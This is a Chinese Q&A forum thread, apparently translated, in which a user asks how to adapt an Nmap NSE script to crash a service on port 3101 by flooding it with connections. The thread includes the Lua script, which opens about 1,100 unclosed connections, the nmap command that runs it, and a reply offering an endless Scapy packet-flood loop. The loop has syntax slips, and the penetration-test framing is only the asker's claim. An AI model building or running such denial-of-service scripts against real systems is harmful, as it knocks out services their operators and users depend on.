DOS(nmap)脚本(渗透测试)

我需要进行渗透测试。我想要编写一个脚本或一些脚本来攻击某个端口/软件(但希望不会)通过泛洪攻击使其崩溃。我已经安装了NMAP和来自同事的一个示例脚本,请问有人能解释一下脚本,并讲解如何调整它以适应我的需求吗?

Description = [[
连接而不关闭的端口
]]
Author =""
License = 'Same as Nmap--See http://nmap.org/book/man-legal.html'
Categories = {'auth', 'intrusive'}

require('shortport')
require('stdnse')
require('strbuf')
require('math')

local soc
local catch = function() soc:close() end
local try = nmap.new_try(catch)

--portrule = shortport.port_or_service({3000, 3001, 3002, 3003, 3004, 3005,3006,3007,3008,3009, 3010, 3011, 4008, 3110}, 'client server')
--portrule = shortport.port_or_service({3000-4008}, 'client server')
portrule = shortport.port_or_service({3101}, 'client server')

action = function(host, port)
    math.randomseed( os.time() )
    local buff = ""
    soc = nmap.new_socket()
        soc:set_timeout(400000000)
    for j = 1,1100 do
                print(j)
        try(soc:connect(host.ip, port.number, port.protocol))
        --soc:close()
    end
    --print(math.random(255))
    return ""
end
点赞
用户1427532
用户1427532

尝试设置 function(host = '这里放主机 URL',port = '这里放端口号')

2012-08-09 09:49:12
用户1183387
用户1183387

我不确定这个脚本是做事情的最佳方式,但是为了运行它,您应该使用以下命令:

nmap -p 3101 --script your-script-name target

您可能会更幸运地使用其他工具而不是Nmap。例如,您可以使用Scapy:

$ sudo scapy
>>> p = IP(dst =“ 192.168.1.X”)/ TCP(dport = 3101)
>>> while true
... p.sport = random.randint(1024,65535)
... send(p)
2012-08-09 11:38:52